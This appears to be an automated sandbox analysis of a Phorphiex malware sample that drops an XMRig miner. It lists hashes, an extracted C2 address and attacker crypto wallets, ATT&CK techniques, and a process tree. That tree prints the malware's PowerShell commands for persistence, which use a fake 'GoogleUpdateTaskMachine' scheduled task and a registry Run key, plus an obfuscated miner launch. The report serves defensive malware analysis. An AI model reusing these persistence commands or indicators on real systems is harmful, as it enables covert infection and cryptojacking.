Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    30-01-2023 12:43

General

  • Target

    00623df2e344a8af515ce1c48b97541b.exe

  • Size

    75KB

  • MD5

    00623df2e344a8af515ce1c48b97541b

  • SHA1

    a91b2e4f9cc5c4e55486c978f30af400e1eabcb1

  • SHA256

    3a8eaf1dbbf401932d21a925da718704dbc6118abbb635d13d380c9a875830fe

  • SHA512

    3dadca0122dc96b687f9922d70d0657d1d9eddaccf0991d47ab6a0362b4588a95c3c850df13615a7d4605188839037b60a9a8295c230a5c84f1435f7d1dc9d10

  • SSDEEP

    1536:g53Mz8y5D0FLcNU33CxcuxrMhenfF3I8eeeeeeeeeeeeeeeeeeeWeeeee:BwLFLQs3vuxrPnfF3

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.66/

Wallets

1Gpu5QiBqsquu71AGqHwb4Y68iwnkdGH1k

3PPJU1omRSTwxDbbfVyxh9Mm8WkiMGZviMh

37AcEVDyoPyUJUKNM3mM1UxNNvKgN6Abn5

qqlt9zzv020vtlswk5v6e90nv7hsuqz0nggp4rj5t0

Xj6orHUgmtZtPb2wGSTX2reQZJ89ZeeYYG

DRyZQqRX998DYdf7zGdTCShGcRBbxjUAbF

0x25229D09B0048F23e60c010C8eE1ae65C727e973

LhoapQ1TFjG2Fvbwn5WbM2wYcwisKRVz7x

r3j2xjQLmVa6Cg3cHZLqLNVja1x6g1AtNL

TVTrpva4J2g8SENebPar4YnfnCqwUeiX4a

t1MrdY4n3DBL3uip5Pq6tqx4doYpihJJG68

AXUqtUXyQmU8buqL5ehCLuLLHhhFrREXuw

bitcoincash:qqlt9zzv020vtlswk5v6e90nv7hsuqz0nggp4rj5t0

48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg

GDX4NDGHA5WKQLOI65PKPZRHSN6ZAUBRHA7BL44O5IOVMMZFZISMHTUD

bnb1zm5y3pns0ertprnvdyulz63tenlp9kc4m78v0m

bc1qdk0fquc7ug2zn7zpdyx4kasdy34t00c5r2xdup

Signatures

  • Phorphiex

    Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 3 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1264
      • C:\Users\Admin\AppData\Local\Temp\00623df2e344a8af515ce1c48b97541b.exe
        "C:\Users\Admin\AppData\Local\Temp\00623df2e344a8af515ce1c48b97541b.exe"
        2⤵
        • Adds Run key to start application
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:1976
        • C:\Windows\sysagrsv.exe
          C:\Windows\sysagrsv.exe
          3⤵
          • Windows security bypass
          • Executes dropped EXE
          • Loads dropped DLL
          • Windows security modification
          • Suspicious use of WriteProcessMemory
          PID:1888
          • C:\Users\Admin\AppData\Local\Temp\152476158.exe
            C:\Users\Admin\AppData\Local\Temp\152476158.exe
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:948
            • C:\Users\Admin\AppData\Local\Temp\1691611309.exe
              C:\Users\Admin\AppData\Local\Temp\1691611309.exe
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:1752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\Admin\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:584
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachine /tr "'C:\Users\Admin\Windows Security\Update\winsvrupd.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:1640
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#boaqiqu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachine" } Else { "C:\Users\Admin\Windows Security\Update\winsvrupd.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1720
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine
          3⤵
            PID:1708
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\Admin\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe' }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1920
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachine /tr "'C:\Users\Admin\Windows Security\Update\winsvrupd.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:1756
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1748
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe dxfechzzfypoyjbf 6E3sjfZq2rJQaxvLPmXgsEqPiBiBLmVqlQRiqAROwnovuL/XXMnmllvN0dE0MNZasUNTlydMwtsW2rj8icJseNEYIR9Mk2CrBAnQSkVd4ghuXK6zXctx/Rv1juQihv2xvWMCiOcCltF908O7Q2gnrwdkD5pEVAuSGMT8e5i6oyrq4eYUoHB2nuvdKC2X+JFQf7iSJSEOJr7GBp5A9pekMuLZ1K+sy4g4Epzwi6wbVxl8ZM8mn+7GccIbj+pVuNsDYY3GPzEsZqgcGX8v8f7JRHr2ZjrjHFfnkTA9y/qycxz5Gn7YfwXD9vtnqqY+8qFe
          2⤵
          • Blocklisted process makes network request
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1996
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {668FDCB7-E543-4319-A460-FC26CA1FA2CC} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
        1⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1816
        • C:\Users\Admin\Windows Security\Update\winsvrupd.exe
          "C:\Users\Admin\Windows Security\Update\winsvrupd.exe"
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1724

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Registry Run Keys / Startup Folder

      1
      T1060

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Defense Evasion

      Disabling Security Tools

      2
      T1089

      Modify Registry

      3
      T1112

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\152476158.exe
        Filesize

        6KB

        MD5

        03ee7b245daeebbf2ccaa1690a9fc8fc

        SHA1

        561710d7f8c05ff5c2a3a384be5de6e023e41ac4

        SHA256

        6bc23b9878978a2f3c507acfdad0b2244a8bda5143359613db039cb21d9c1228

        SHA512

        f64163899218b24ee1dd59748e024e0106d83dbea3e31c0f05b1efb8558a47c232dbbcd1463a121c63e2dff2743887925238d8bf6eab0b9ee0292386918e8e55

      • C:\Users\Admin\AppData\Local\Temp\1691611309.exe
        Filesize

        2.0MB

        MD5

        7b0633ae007d5d202c33d505d580d4b7

        SHA1

        3fcc4bd2af14b385104c27d8a192c938295bba3e

        SHA256

        84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

        SHA512

        e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

      • C:\Users\Admin\AppData\Local\Temp\1691611309.exe
        Filesize

        2.0MB

        MD5

        7b0633ae007d5d202c33d505d580d4b7

        SHA1

        3fcc4bd2af14b385104c27d8a192c938295bba3e

        SHA256

        84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

        SHA512

        e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

      • C:\Users\Admin\AppData\Roaming\Google\Libs\g.log
        Filesize

        198B

        MD5

        37dd19b2be4fa7635ad6a2f3238c4af1

        SHA1

        e5b2c034636b434faee84e82e3bce3a3d3561943

        SHA256

        8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

        SHA512

        86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        2922fee6cee993e57ccab9217ba09d15

        SHA1

        a0c9efa5d30508a6e9a754c730b4ebb28821746c

        SHA256

        d84ece10d7b7be7be2e889ed11d3220f880052dd6a793fc108be6f0ba768f641

        SHA512

        e810cf0af843aa9bd4322634231652ab4f876c15608fde3bf953220fe8419e40fcb0555e0e83a96cdbd77f7012181af16ef394979d55b4bcdb5f3f1d5d8150fc

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        2922fee6cee993e57ccab9217ba09d15

        SHA1

        a0c9efa5d30508a6e9a754c730b4ebb28821746c

        SHA256

        d84ece10d7b7be7be2e889ed11d3220f880052dd6a793fc108be6f0ba768f641

        SHA512

        e810cf0af843aa9bd4322634231652ab4f876c15608fde3bf953220fe8419e40fcb0555e0e83a96cdbd77f7012181af16ef394979d55b4bcdb5f3f1d5d8150fc

      • C:\Users\Admin\Windows Security\Update\winsvrupd.exe
        Filesize

        2.0MB

        MD5

        7b0633ae007d5d202c33d505d580d4b7

        SHA1

        3fcc4bd2af14b385104c27d8a192c938295bba3e

        SHA256

        84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

        SHA512

        e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

      • C:\Windows\sysagrsv.exe
        Filesize

        75KB

        MD5

        00623df2e344a8af515ce1c48b97541b

        SHA1

        a91b2e4f9cc5c4e55486c978f30af400e1eabcb1

        SHA256

        3a8eaf1dbbf401932d21a925da718704dbc6118abbb635d13d380c9a875830fe

        SHA512

        3dadca0122dc96b687f9922d70d0657d1d9eddaccf0991d47ab6a0362b4588a95c3c850df13615a7d4605188839037b60a9a8295c230a5c84f1435f7d1dc9d10

      • C:\Windows\sysagrsv.exe
        Filesize

        75KB

        MD5

        00623df2e344a8af515ce1c48b97541b

        SHA1

        a91b2e4f9cc5c4e55486c978f30af400e1eabcb1

        SHA256

        3a8eaf1dbbf401932d21a925da718704dbc6118abbb635d13d380c9a875830fe

        SHA512

        3dadca0122dc96b687f9922d70d0657d1d9eddaccf0991d47ab6a0362b4588a95c3c850df13615a7d4605188839037b60a9a8295c230a5c84f1435f7d1dc9d10

      • \Users\Admin\AppData\Local\Temp\152476158.exe
        Filesize

        6KB

        MD5

        03ee7b245daeebbf2ccaa1690a9fc8fc

        SHA1

        561710d7f8c05ff5c2a3a384be5de6e023e41ac4

        SHA256

        6bc23b9878978a2f3c507acfdad0b2244a8bda5143359613db039cb21d9c1228

        SHA512

        f64163899218b24ee1dd59748e024e0106d83dbea3e31c0f05b1efb8558a47c232dbbcd1463a121c63e2dff2743887925238d8bf6eab0b9ee0292386918e8e55

      • \Users\Admin\AppData\Local\Temp\1691611309.exe
        Filesize

        2.0MB

        MD5

        7b0633ae007d5d202c33d505d580d4b7

        SHA1

        3fcc4bd2af14b385104c27d8a192c938295bba3e

        SHA256

        84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

        SHA512

        e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

      • \Users\Admin\Windows Security\Update\winsvrupd.exe
        Filesize

        2.0MB

        MD5

        7b0633ae007d5d202c33d505d580d4b7

        SHA1

        3fcc4bd2af14b385104c27d8a192c938295bba3e

        SHA256

        84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

        SHA512

        e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

      • memory/584-68-0x000007FEF37B0000-0x000007FEF430D000-memory.dmp
        Filesize

        11.4MB

      • memory/584-69-0x0000000002804000-0x0000000002807000-memory.dmp
        Filesize

        12KB

      • memory/584-71-0x0000000002804000-0x0000000002807000-memory.dmp
        Filesize

        12KB

      • memory/584-72-0x000000000280B000-0x000000000282A000-memory.dmp
        Filesize

        124KB

      • memory/584-67-0x000007FEF4310000-0x000007FEF4D33000-memory.dmp
        Filesize

        10.1MB

      • memory/584-66-0x000007FEFBE41000-0x000007FEFBE43000-memory.dmp
        Filesize

        8KB

      • memory/948-60-0x0000000000000000-mapping.dmp
      • memory/1640-70-0x0000000000000000-mapping.dmp
      • memory/1708-79-0x0000000000000000-mapping.dmp
      • memory/1720-80-0x00000000023C4000-0x00000000023C7000-memory.dmp
        Filesize

        12KB

      • memory/1720-78-0x00000000023C4000-0x00000000023C7000-memory.dmp
        Filesize

        12KB

      • memory/1720-81-0x00000000023CB000-0x00000000023EA000-memory.dmp
        Filesize

        124KB

      • memory/1720-77-0x000007FEF3840000-0x000007FEF439D000-memory.dmp
        Filesize

        11.4MB

      • memory/1724-83-0x0000000000000000-mapping.dmp
      • memory/1748-92-0x0000000000000000-mapping.dmp
      • memory/1752-64-0x0000000000000000-mapping.dmp
      • memory/1756-89-0x0000000000000000-mapping.dmp
      • memory/1888-55-0x0000000000000000-mapping.dmp
      • memory/1920-88-0x000007FEF37B0000-0x000007FEF430D000-memory.dmp
        Filesize

        11.4MB

      • memory/1920-87-0x000007FEF4310000-0x000007FEF4D33000-memory.dmp
        Filesize

        10.1MB

      • memory/1920-90-0x00000000025C4000-0x00000000025C7000-memory.dmp
        Filesize

        12KB

      • memory/1920-91-0x00000000025CB000-0x00000000025EA000-memory.dmp
        Filesize

        124KB

      • memory/1976-54-0x00000000764D1000-0x00000000764D3000-memory.dmp
        Filesize

        8KB

      • memory/1996-94-0x00000001407F2720-mapping.dmp
      • memory/1996-95-0x00000000000B0000-0x00000000000D0000-memory.dmp
        Filesize

        128KB

      • memory/1996-96-0x0000000140000000-0x00000001407F4000-memory.dmp
        Filesize

        8.0MB

      • memory/1996-97-0x0000000000000000-0x0000000001000000-memory.dmp
        Filesize

        16.0MB